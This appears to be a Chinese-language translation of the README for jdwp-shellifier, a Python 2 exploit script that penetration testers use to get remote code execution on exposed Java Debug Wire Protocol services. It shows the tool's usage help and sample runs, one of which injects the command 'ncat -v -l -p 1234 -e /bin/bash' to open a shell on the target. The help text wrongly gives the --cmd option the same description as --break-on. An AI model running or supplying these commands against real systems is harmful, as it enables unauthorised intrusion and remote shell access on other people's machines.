此漏洞利用脚本供渗透测试人员针对处于活动状态的 JDWP 服务使用,以获取远程代码执行(Remote Code Execution)能力。
嗯,其工作方式相当标准,脚本只需要一个 Python 2 解释器:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
针对特定主机/端口:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
此命令仅会在 JVM 上注入 Java 代码,并显示一些信息,如操作系统、Java 版本等。由于它不会执行外部代码/二进制文件,因此完全安全,可将其用作概念验证(Proof-Of-Concept)。
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
此命令将实际执行进程 ncat,并使用指定的参数,以运行中 JVM 所赋予的权限来执行。
在提问之前,请务必阅读 http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html ,以全面了解 JDWP 协议。